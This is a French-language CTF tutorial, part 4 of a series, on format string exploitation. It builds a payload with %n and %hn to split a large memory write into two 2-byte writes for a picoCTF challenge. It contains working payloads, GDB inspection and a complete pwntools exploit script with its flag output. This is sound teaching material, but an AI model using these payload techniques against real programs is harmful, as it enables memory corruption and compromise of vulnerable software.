Guide des format string (partie 4)
Ce guide est la suite de celui-ci, il est donc recommandé d'aller le lire.
Ecrire plus de données avec les format string
Dans ce guide, on va plonger un peu plus loin dans l'exploitation du format spécifier %n en résolvant de maniere plus propre le même challenge du picogim :
On s'était laissés sur un exploit utilisant ce payload :
payload = b'%1734437990X%17$naaaaaaa' + p64(sus_adress)
Pour résumer, il écrit 1734437990 (ou 0x67616c66) à l'adresse sus_adress (soit ici 0x404060)
Cependant, pour parvenir a ses fins, l'exploit fait en sorte que le programme retourne 1734437990 espaces. Cela prends une grande quantité de temps et peut être optimisé.
En effet, plutot que d'écrire 0x67616c66 d'un coup dans sus, on peut l'écrire en deux fois.
On aimerait faire en sorte que :
- On met la valeur 0x21737573 dans sus
int sus = 0x21737573;
- On change le début de sus en 0x6761
int sus = 0x67617573;
- On change la fin de sus en 0x6c66
int sus = 0x67616c66;
Cela permetterait d'écrire des nombres beacoup plus petits et donc afficher un nombre raisonnables d'espaces :
Entrée
6761Résultat
26465Entrée
6c66Résultat
27750On est loin des 1734437990 espaces d'avant.
Pour mettre cela en place, il faut dans un premier temps écrire 0x6761 à l'adresse de sus puis 0x6c66 à l'adresse de sus + 2.
Soit écrire 0x6761 à 0x404062 et 0x6c66 à 0x404060.
Pour mieux visualiser cela, on va aller voir a quoi correspondent ces adresses dans GDB :
terminalbash> (gdb) x/x 0x404060 0x404060 <sus>: 0x21737573 > (gdb) x/x 0x404062 0x404062 <sus+2>: 0x00002173
On voit donc que 0x404062 correspond bien aux 2 premiers bytes de sus (soit 0x2173).
Cependant si on écrit directement notre exploit, il pourrait se passer quelque chose comme ça :
- On écrit 0x6761 à 0x404062 donc :
<sus+2>: 0x00006761
soit :
<sus>: 0x67617573
- On écrit 0x66c6 à 0x404060 donc :
<sus>: 0x00006c66
Or on voudrait que sus soit égal à 0x67616c66 et pas 0x00006c66.
Ce comportement est provoqué par le fait que, par défaut, le format specifier %n écrit tout le temps 4 bytes et rajoute des 0 pour compléter. Or ici, on voudrait qu'il n'écrive que 2 bytes.
La solution à ce problème est la même que dans ce guide, à savoir, utiliser un préfixe de taille. On utilisera donc ici le préfixe h qui permet de spécifier la taille à 2 bytes.
On aura donc un payload de la forme :
payload = b'%?X%??$n' + b'%?X%??$hn' + p64(sus_adress + 2) + p64(sus_adress)
- On veut écrire en premier 0x6761 :
Entrée
6761Résultat
26465Donc le premier format specifier sera :
"%26465X%??$n"
- On veut ensuite écrire 0x6c66 :
Le format specifier %n écrit le compte de tous les caractères écrits avant lui, or on a déjà écrit 26465 caracteres pour le premier %n.
Entrée
6c66Résultat
27750Il ne reste donc à écrire que caractères.
Donc le deuxième format specifier sera :
"%1285X%??$n"
Note: on met ?? pour le rang du paramètre car on ne le connait pas encore mais on sait qu'il sera de deux caracteres de long.
On définit ensuite l'ordre des paramètres :
- 14eme parametre = "%26465X%"
- 15eme parametre = "??$n%128"
- 16eme parametre = "5X%??$hn"
- 17eme parametre = p64(sus_adress + 2)
- 18eme parametre = p64(sus_adress)
On trouve donc que :
- Le premier %n prends le 17eme parametre
- Le deuxieme %n prends le 18eme parametre
On assemble donc le payload final :
payload = b'%26465X%17$n' + b'%1285X%18$hn' + p64(sus_adress + 2) + p64(sus_adress) # Je sépare ici les %n pour la lisibilité
On peut donc reprendre notre ancien exploit en changeant le payload :
from pwn import * sus_adress = 0x404060 p = remote("HOST", PORT) payload = b'%26465X%17$n' + b'%1285X%18$hn' + p64(sus_adress + 2) + p64(sus_adress) p.sendline(payload) p.interactive()
terminalbash$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? Here's your input: (...) I have NO clue how you did that, you must be a wizard. Here you go... picoCTF{f0rm47_57r?_f0rm47_m3m_741fa290} [*] Got EOF while reading in interactive
Pareil mais en plus propre :)